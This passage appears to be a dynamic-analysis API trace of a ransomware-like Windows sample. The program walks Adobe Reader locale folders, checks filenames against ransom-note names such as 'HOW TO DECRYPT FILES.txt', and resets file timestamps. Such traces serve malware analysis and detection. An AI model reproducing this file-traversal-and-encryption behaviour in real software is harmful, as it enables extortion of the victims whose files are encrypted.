ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Spelling.DAN", cAlternateFileName="")) returned 1 [0070.514] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.514] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Spelling.DAN") returned -1 [0070.514] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Spelling.DAN") returned -1 [0070.514] lstrcmpiA (lpString1="", lpString2="Spelling.DAN") returned -1 [0070.514] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*.*") returned="*.*" [0070.514] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0070.514] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="" [0070.514] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="updater.DAN", cAlternateFileName="")) returned 1 [0070.514] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.514] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="updater.DAN") returned -1 [0070.514] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="updater.DAN") returned -1 [0070.515] lstrcmpiA (lpString1="", lpString2="updater.DAN") returned -1 [0070.515] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Spelling.DAN") returned="Spelling.DAN" [0070.515] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0070.515] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="" [0070.515] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x74, dwReserved1=0x0, cFileName="Weblink.DAN", cAlternateFileName="")) returned 1 [0070.515] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.515] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Weblink.DAN") returned -1 [0070.515] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Weblink.DAN") returned -1 [0070.515] lstrcmpiA (lpString1="", lpString2="Weblink.DAN") returned -1 [0070.515] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\updater.DAN") returned="updater.DAN" [0070.515] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0070.515] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="" [0070.516] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x74, dwReserved1=0x0, cFileName="Weblink.DAN", cAlternateFileName="")) returned 0 [0070.516] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0070.516] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="de_DE", cAlternateFileName="")) returned 1 [0070.516] lstrcmpA (lpString1=".", lpString2="de_DE") returned -1 [0070.516] lstrcmpA (lpString1="..", lpString2="de_DE") returned -1 [0070.516] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\*.*") returned="*.*" [0070.516] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.521] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.521] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.521] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.521] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.521] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="accessibility.DEU", cAlternateFileName="ACCESS~1.DEU")) returned 1 [0070.521] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.521] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="accessibility.DEU") returned 1 [0070.521] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="accessibility.DEU") returned 1 [0070.521] lstrcmpiA (lpString1="", lpString2="accessibility.DEU") returned -1 [0070.521] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*.*") returned="*.*" [0070.521] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0070.521] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="" [0070.523] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.524] CloseHandle (hObject=0x94) returned 1 [0070.524] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.DEU", cAlternateFileName="")) returned 1 [0070.524] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.524] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Acroform.DEU") returned 1 [0070.525] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Acroform.DEU") returned 1 [0070.525] lstrcmpiA (lpString1="", lpString2="Acroform.DEU") returned -1 [0070.525] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\accessibility.DEU") returned="accessibility.DEU" [0070.525] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0070.525] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="" [0070.525] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="AdobeCollabSync.DEU", cAlternateFileName="ADOBEC~1.DEU")) returned 1 [0070.525] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.525] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdobeCollabSync.DEU") returned 1 [0070.525] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdobeCollabSync.DEU") returned 1 [0070.525] lstrcmpiA (lpString1="", lpString2="AdobeCollabSync.DEU") returned -1 [0070.525] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Acroform.DEU") returned="Acroform.DEU" [0070.526] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0070.526] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="" [0070.526] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82a99780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="Annots.DEU", cAlternateFileName="")) returned 1 [0070.526] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.526] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Annots.DEU") returned 1 [0070.526] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Annots.DEU") returned 1 [0070.526] lstrcmpiA (lpString1="", lpString2="Annots.DEU") returned -1 [0070.526] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\AdobeCollabSync.DEU") returned="AdobeCollabSync.DEU" [0070.526] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0070.526] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="" [0070.526] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x74, dwReserved1=0x0, cFileName="BRdlang32.DEU", cAlternateFileName="BRDLAN~1.DEU")) returned 1 [0070.527] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.527] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BRdlang32.DEU") returned 1 [0070.527] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BRdlang32.DEU") returned 1 [0070.527] lstrcmpiA (lpString1="", lpString2="BRdlang32.DEU") returned -1 [0070.527] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Annots.DEU") returned="Annots.DEU" [0070.527] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0070.527] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="" [0070.527] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fe00, dwReserved0=0x74, dwReserved1=0x0, cFileName="Checkers.DEU", cAlternateFileName="")) returned 1 [0070.527] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.527] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\BRdlang32.DEU") returned="BRdlang32.DEU" [0070.527] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0070.528] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="" [0070.528] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21e00, dwReserved0=0x74, dwReserved1=0x0, cFileName="DigSig.DEU", cAlternateFileName="")) returned 1 [0070.528] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.528] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Checkers.DEU") returned="Checkers.DEU" [0070.528] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0070.528] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="" [0070.528] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="DVA.DEU", cAlternateFileName="")) returned 1 [0070.528] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.528] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\DigSig.DEU") returned="DigSig.DEU" [0070.528] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0070.528] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="" [0070.529] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="eBook.DEU", cAlternateFileName="")) returned 1 [0070.529] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.529] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\DVA.DEU") returned="DVA.DEU" [0070.529] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0070.529] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="" [0070.529] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x74, dwReserved1=0x0, cFileName="Escript.deu", cAlternateFileName="")) returned 1 [0070.529] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.529] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\eBook.DEU") returned="eBook.DEU" [0070.529] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0070.529] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="" [0070.530] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x74, dwReserved1=0x0, cFileName="IA32.DEU", cAlternateFileName="")) returned 1 [0070.530] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.530] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Escript.deu") returned="Escript.deu" [0070.530] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0070.530] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="" [0070.530] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x74, dwReserved1=0x0, cFileName="makeaccessible.DEU", cAlternateFileName="MAKEAC~1.DEU")) returned 1 [0070.530] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.530] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\IA32.DEU") returned="IA32.DEU" [0070.530] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\" [0070.530] PathAddBackslashA (in: pszPath="C:\\Program Files 